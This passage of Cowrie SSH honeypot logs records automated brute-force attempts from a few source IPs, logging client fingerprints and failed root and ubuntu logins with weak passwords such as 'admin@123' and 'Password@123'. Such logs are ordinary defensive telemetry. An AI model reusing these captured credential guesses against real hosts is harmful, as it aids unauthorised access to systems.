penssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:29.845266Z","src_ip":"45.156.87.147","session":"65cb09ad6fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:30.103009Z","src_ip":"45.156.87.147","session":"65cb09ad6fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:31.188234Z","src_ip":"45.156.87.147","session":"65cb09ad6fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":59328,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca968938c758","protocol":"ssh","message":"New connection: 103.15.222.183:59328 (159.203.135.109:22) [session: ca968938c758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:31.661892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:31.666955Z","src_ip":"103.15.222.183","session":"ca968938c758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:31.925321Z","src_ip":"103.15.222.183","session":"ca968938c758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19051980","message":"login attempt [root/19051980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:32.699842Z","src_ip":"103.15.222.183","session":"ca968938c758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:33.960622Z","src_ip":"103.15.222.183","session":"ca968938c758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54890,"dst_ip":"10.17.0.5","dst_port":22,"session":"817e250d66a5","protocol":"ssh","message":"New connection: 45.156.87.147:54890 (10.17.0.5:22) [session: 817e250d66a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:35.453486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:35.457625Z","src_ip":"45.156.87.147","session":"817e250d66a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:35.541614Z","src_ip":"45.156.87.147","session":"817e250d66a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:35.796283Z","src_ip":"45.156.87.147","session":"817e250d66a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:36.880514Z","src_ip":"45.156.87.147","session":"817e250d66a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35408,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d60e71b4875","protocol":"ssh","message":"New connection: 87.251.79.125:35408 (10.17.0.5:22) [session: 8d60e71b4875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:37.056797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:37.061092Z","src_ip":"87.251.79.125","session":"8d60e71b4875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:37.131969Z","src_ip":"87.251.79.125","session":"8d60e71b4875","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saigon","message":"login attempt [root/saigon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:37.343167Z","src_ip":"87.251.79.125","session":"8d60e71b4875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:38.413294Z","src_ip":"87.251.79.125","session":"8d60e71b4875","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37622,"dst_ip":"10.17.0.5","dst_port":22,"session":"4df5dd5cf778","protocol":"ssh","message":"New connection: 45.156.87.147:37622 (10.17.0.5:22) [session: 4df5dd5cf778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:41.005285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:41.009849Z","src_ip":"45.156.87.147","session":"4df5dd5cf778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:41.095054Z","src_ip":"45.156.87.147","session":"4df5dd5cf778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:41.506261Z","src_ip":"45.156.87.147","session":"4df5dd5cf778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:42.593580Z","src_ip":"45.156.87.147","session":"4df5dd5cf778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37636,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c23e9d72783","protocol":"ssh","message":"New connection: 45.156.87.147:37636 (10.17.0.5:22) [session: 9c23e9d72783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:46.814375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:46.818957Z","src_ip":"45.156.87.147","session":"9c23e9d72783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:46.897921Z","src_ip":"45.156.87.147","session":"9c23e9d72783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:47.251631Z","src_ip":"45.156.87.147","session":"9c23e9d72783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:48.402422Z","src_ip":"45.156.87.147","session":"9c23e9d72783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53594,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1b762b371d9","protocol":"ssh","message":"New connection: 45.156.87.147:53594 (10.17.0.5:22) [session: b1b762b371d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:52.624280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:52.627964Z","src_ip":"45.156.87.147","session":"b1b762b371d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:52.711282Z","src_ip":"45.156.87.147","session":"b1b762b371d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:52.961841Z","src_ip":"45.156.87.147","session":"b1b762b371d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:54.046440Z","src_ip":"45.156.87.147","session":"b1b762b371d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53604,"dst_ip":"10.17.0.5","dst_port":22,"session":"e61fc5cae45b","protocol":"ssh","message":"New connection: 45.156.87.147:53604 (10.17.0.5:22) [session: e61fc5cae45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:58.329757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:58.334150Z","src_ip":"45.156.87.147","session":"e61fc5cae45b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:58.416964Z","src_ip":"45.156.87.147","session":"e61fc5cae45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:58.666116Z","src_ip":"45.156.87.147","session":"e61fc5cae45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:59.750308Z","src_ip":"45.156.87.147","session":"e61fc5cae45b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60010,"dst_ip":"10.17.0.5","dst_port":22,"session":"76a1b2db47eb","protocol":"ssh","message":"New connection: 45.156.87.147:60010 (10.17.0.5:22) [session: 76a1b2db47eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:03.946975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:03.956591Z","src_ip":"45.156.87.147","session":"76a1b2db47eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:04.053703Z","src_ip":"45.156.87.147","session":"76a1b2db47eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"root","message":"login attempt [gitlab/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:04.309129Z","src_ip":"45.156.87.147","session":"76a1b2db47eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:05.394348Z","src_ip":"45.156.87.147","session":"76a1b2db47eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46056,"dst_ip":"10.17.0.5","dst_port":22,"session":"7100f73bac55","protocol":"ssh","message":"New connection: 45.156.87.147:46056 (10.17.0.5:22) [session: 7100f73bac55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:09.697031Z"}
